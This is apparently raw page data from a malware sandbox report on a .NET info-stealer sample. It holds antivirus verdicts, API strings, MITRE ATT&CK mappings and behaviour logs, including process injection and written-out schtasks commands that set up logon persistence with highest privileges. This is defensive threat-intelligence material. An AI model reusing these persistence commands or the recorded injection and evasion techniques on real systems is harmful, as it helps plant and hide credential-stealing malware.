"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "654c8b1c25c0140000" to virtual address "0xE2D52533" (part of module "CLR.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "e9aec60800" to virtual address "0xF6CA3FE0" ("CreateCompatibleBitmap@GDI32.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "4dd3bdaf9bfd0000" to virtual address "0xF8BB24D0" (part of module "NTDLL.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "e985129700" to virtual address "0xF63BF250" ("EnumWindows@USER32.DLL")32:T69d,"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote 4024 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 1252) "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote 8 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 1252) "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote 4024 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 1284) "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote 8 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 1284) "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote 4024 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 1292) "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote 8 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 1292) "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote 4024 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 1288) "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote 8 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 1288) "cmd.exe" wrote 4024 bytes to a remote process "C:\Windows\System32\chcp.com" (Handle: 320) "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\System32\chcp.com" (Handle: 320) "cmd.exe" wrote 4024 bytes to a remote process "C:\Windows\System32\PING.EXE" (Handle: 328) "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\System32\PING.EXE" (Handle: 328) "cmd.exe" wrote 4024 bytes to a remote process "C:\Users\Public\Desktop\ShellExperienceHost.exe" (Handle: 324) "cmd.exe" wrote 8 bytes to a remote process "C:\Users\Public\Desktop\ShellExperienceHost.exe" (Handle: 324)33:T4c6,Spawned process "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" (UID: 00000000-00007040) Spawned process "schtasks.exe" with commandline ""schtasks" /create /tn "ShellExperienceHost" /sc ONLOGON /tr "'%ALLUSERSPROFILE%\Desktop\ShellExperienceHost.exe'" /rl HIGHEST /f" (UID: 00000000-00007540) Spawned process "schtasks.exe" with commandline ""schtasks" /create /tn "AutoIt3_x64" /sc ONLOGON /tr "'%PROGRAMFILES%\(x86)\AutoIt3\AutoIt\AutoIt3_x64.exe'" /rl HIGHEST /f" (UID: 00000000-00007816) Spawned process "schtasks.exe" with commandline ""schtasks" /create /tn "AutoIt3_x64" /sc ONLOGON /tr "'%USERPROFILE%\My Documents\AutoIt3_x64.exe'" /rl HIGHEST /f" (UID: 00000000-00006536) Spawned process "schtasks.exe" with commandline ""schtasks" /create /tn "WmiPrvSE" /sc ONLOGON /tr "'%WINDIR%\System32\wbem\p2p-mesh\WmiPrvSE.exe'" /rl HIGHEST /f" (UID: 00000000-00008032) Spawned process "cmd.exe" with commandline "/C "%TEMP%\6TnwmlA4fm.bat"" (UID: 00000000-00002924) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00003700) Spawned process "PING.EXE" with commandline "ping -n 5 localhost" (UID: 00000000-00001124) Spawned process "ShellExperienceHost.exe" (UID: 00000000-00007784)34:T6a8,"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" (Indicator: "mozilla/5.0 (") "Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1" (Indicator: "mozilla/5.0 (") "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" (Indicator: "mozilla/5.0 (") "Mozilla/5.0 (Linux; Android 6.0; HTC One M9 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.3" (Indicator: "mozilla/5.0 (") "Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1" (Indicator: "mozilla/5.0 (") "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1" (Indicator: "mozilla/5.0 (") "Mozilla/5.0 (iPhone9,4; U; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1" (Indicator: "mozilla/5.0 (") "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" (Indicator: "mozilla/5.0 (") "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36" (Indicator: "mozilla/5.0 (") "Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)" (Indicator: "mozilla/5.0 (") "Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Mobile Safari/537.36 Edge/13.10586" (Indicator: "mozilla/5.0 (")35:Tb66,Found string "GetMethod" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: WMINET_UTILS.DLL) Found string "FreeLibrary" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: KERNELBASE.DLL) Found string "GetProcAddress" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: KERNELBASE.DLL) Found string "GetCurrentProcess" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: KERNELBASE.DLL) Found string "Rectangle" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: GDI32.DLL) Found string "CompareTo" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: WMINET_UTILS.DLL) Found string "PrintWindow" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: USER32.DLL) Found string "IsWindowVisible" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: USER32.DLL) Found string "GetWindowRect" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: USER32.DLL) Found string "CloseDesktop" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: USER32.DLL) Found string "WindowFromPoint" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: USER32.DLL) Found string "GetProcessWindowStation" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: USER32.DLL) Found string "GetAncestor" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: USER32.DLL) Found string "EnumDesktopWindows" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: USER32.DLL) Found string "GetWindowThreadProcessId" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: USER32.DLL) Found string "SetThreadDesktop" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: USER32.DLL) Found string "GetParent" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: USER32.DLL) Found string "SetWindowPos" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: USER32.DLL) Found string "GetWindowInfo" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: USER32.DLL) Found string "GetGUIThreadInfo" (Source: 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin, API is part of module: USER32.DLL)1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1792145225954,"unified_at":"2026-10-16T10:07:05.954Z","metadata":{"hashes":{"sha256":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50","sha1":"871970eef6d4976f96f0a42371880b6dd9f21e52","md5":"268c2e7768781323eec48ae7d2ce805d","sha512":"e254fcea7b5db5e5f2c5b1b857ff854842026d14de41b1bb6d35330ffa315e2dfd0c4d8a7b320acda039382fe3687df496d04fb4c5e6c5fe0eaff72ecbdb8fee","ssdeep":"24576:ee3J09QcGtD2F0Wpq0Ld7UT29cENYaK2q5aj+4:MF2CTK2q5ay","ssdeep_chunks":["24576:ee3J09Q","24576:e3J09Qc","24576:3J09QcG","24576:J09QcGt","24576:09QcGtD","24576:9QcGtD2","24576:QcGtD2F","24576:cGtD2F0","24576:GtD2F0W","24576:tD2F0Wp","24576:D2F0Wpq","24576:2F0Wpq0","24576:F0Wpq0L","24576:0Wpq0Ld","24576:Wpq0Ld7","24576:pq0Ld7U","24576:q0Ld7UT","24576:0Ld7UT2","24576:Ld7UT29","24576:d7UT29c","24576:7UT29cE","24576:UT29cEN","24576:T29cENY","24576:29cENYa","24576:9cENYaK","24576:cENYaK2","24576:ENYaK2q","24576:NYaK2q5","24576:YaK2q5a","24576:aK2q5aj","24576:K2q5aj+","24576:2q5aj+4","49152:ee3J09Q","49152:e3J09Qc","49152:3J09QcG","49152:J09QcGt","49152:09QcGtD","49152:9QcGtD2","49152:QcGtD2F","49152:cGtD2F0","49152:GtD2F0W","49152:tD2F0Wp","49152:D2F0Wpq","49152:2F0Wpq0","49152:F0Wpq0L","49152:0Wpq0Ld","49152:Wpq0Ld7","49152:pq0Ld7U","49152:q0Ld7UT","49152:0Ld7UT2","49152:Ld7UT29","49152:d7UT29c","49152:7UT29cE","49152:UT29cEN","49152:T29cENY","49152:29cENYa","49152:9cENYaK","49152:cENYaK2","49152:ENYaK2q","49152:NYaK2q5","49152:YaK2q5a","49152:aK2q5aj","49152:K2q5aj+","49152:2q5aj+4","24576:MF2CTK2","24576:F2CTK2q","24576:2CTK2q5","24576:CTK2q5a","24576:TK2q5ay"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":1220608,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1627528136000,"last_seen":1677210369000,"last_multi_scan":1677210369000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["phishing","evasive"]},"stats":{"av":{"malicious_count":16,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":45},"sandbox_signatures":{"informative_count":75,"suspicious_count":23,"malicious_count":15,"total":113},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.DC","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1203178","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.MSIL.Basic.8.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Malware.Uztuby-9848412-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Agent.LQ.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.MSIL.Basic.8.Gen (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Spy.RedLine.B trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanSpy/MSIL.Agent.v","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Riskware ( 0040eff71 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan-Spy.MSIL.Stealer.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXSJ-UK!268C2E776878","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/SpyNoon-A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TrojanSpy.MSIL.Stealer","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Basic.Win32.98013","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.MSIL.Basic.8","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Dotnet source code contains suspicious native API"},{"type":"informative","value":"Contains ability to execute application"},{"type":"informative","value":"Contains ability to start a process"},{"type":"informative","value":"Contains ability to modify processes thread functionality (API string)"},{"type":"informative","value":"Found Native API in Dotnet file"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Drops or executes a batch file"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute WMI queries"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Runs shell commands"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Allocates virtual memory in a remote process"},{"type":"informative","value":"Contains ability to install a hook procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"malicious","value":"Tries to hide tracks of having downloaded a file from the internet"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to decompress content at runtime"},{"type":"informative","value":"Dotnet file resource with suspicious entropy"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to load content into memory"},{"type":"informative","value":"Contains ability to decode base64 data (API string)"},{"type":"informative","value":"Contains ability to decode string content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"suspicious","value":"Tries to sleep for a long time (more than two minutes)"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"malicious","value":"Modifies file/console tracing settings (often used to hide footprints on system)"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Possibly tries to implement anti-virtualization techniques"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"},{"type":"malicious","value":"Hooks internet related APIs"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to gather process details"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to gather system environment details"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"suspicious","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to gather system information"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to 